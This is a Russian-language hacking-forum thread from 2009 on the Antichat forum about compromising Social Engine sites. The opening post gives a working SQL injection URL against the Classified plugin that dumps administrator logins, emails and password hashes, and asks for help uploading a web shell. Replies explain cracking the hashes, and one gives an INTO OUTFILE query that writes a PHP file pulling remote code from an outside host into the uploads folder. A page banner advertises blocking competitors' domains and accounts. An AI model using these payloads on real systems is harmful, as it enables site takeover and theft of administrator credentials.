Social Engine SQL инекция !

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Social Engine SQL инекция !

Страница 1 из 3

Опции темы

Поиск в этой теме

Опции просмотра

Social Engine SQL инекция !

18.01.2009, 16:52

eworld.uz

Познающий

Регистрация: 18.01.2008

Сообщений: 31

С нами: 9638234

Репутация: 13

Social Engine SQL инекция !

В движке Social Engine версия 3.хх на плагине Сlassified есть SQL инекция !

Вот sql инекция :

PHP код:


		
			
http://sitename.ru/browse_classifieds.php?s=classified_date DESC&v=0&classifiedcat_id=-1+UNION SELECT concat(admin_username,admin_email,0x3a,admin_password)

,2,3+from+se_admins

Как залить шелл ? Помогите друзья !

Вот это скрин таблицы se_admins

CHMOD 777 стоит в папках http://sitename.ru/uploads_user

и на http://sitename.ru/include/smarty/templates_c

Помогите друзья залить ШЕЛЛ кто сможет залить шелл стучите плиз на аску 405-801-351 в долгу не останусь

𝕏 Twitter Reddit Telegram Копировать ссылку

20.01.2009, 23:35

~~Arigona~~

Banned

Регистрация: 09.12.2008

Сообщений: 142

С нами: 9168806

Репутация: 114

и чё с этой скуль иньекцией мона сделать? ты не разяснил, многим не понятно.

21.01.2009, 03:54

krobol

Познающий

Регистрация: 10.02.2008

Сообщений: 56

С нами: 9604947

Репутация: 14

получить хэши, расшифровать их и зайти в админку.

а по заливке шелла так никто и не подскажет?

21.01.2009, 03:56

NFM

Постоянный

Регистрация: 16.01.2006

Сообщений: 598

С нами: 10692326

Репутация: 531

версия мускула какая

21.01.2009, 04:03

krobol

Познающий

Регистрация: 10.02.2008

Сообщений: 56

С нами: 9604947

Репутация: 14

Цитата:

Сообщение от NFM

версия мускула какая

5.0.51a

21.01.2009, 04:09

xcedz

Познавший АНТИЧАТ

Регистрация: 14.01.2008

Сообщений: 1,165

С нами: 9644006

Репутация: 3099

/phpMyAdmin => INTO OUTFILE ? (заливка шела в phpmyadmin ищи на форуме более кокретные примеры если требуется. ни раз поднимался вопрос)

Последний раз редактировалось xcedz; 21.01.2009 в 04:12..

21.01.2009, 04:15

NFM

Постоянный

Регистрация: 16.01.2006

Сообщений: 598

С нами: 10692326

Репутация: 531

https://forum.antichat.ru/threadnav43966-1-10.html
вот здесь почитай про заливку шела

21.01.2009, 04:26

xcedz

Познавший АНТИЧАТ

Регистрация: 14.01.2008

Сообщений: 1,165

С нами: 9644006

Репутация: 3099

Цитата:

select '<? @include("http://shell.ru/shell.txt"); ?>' into outfile '/home/blalblalba//uploads_user/shell.php';

File_priv положение вкл

21.01.2009, 04:35

krobol

Познающий

Регистрация: 10.02.2008

Сообщений: 56

С нами: 9604947

Репутация: 14

phpmyadmin есть у автора темы.
у меня по его sql-inj есть только доступы к админкам.
где он взял данные по доступу к базе и phpmyadmin я не знаю.

например админка такого сайта:

<вырезано>

как можно туда залить шелл?

Последний раз редактировалось krobol; 21.01.2009 в 04:45..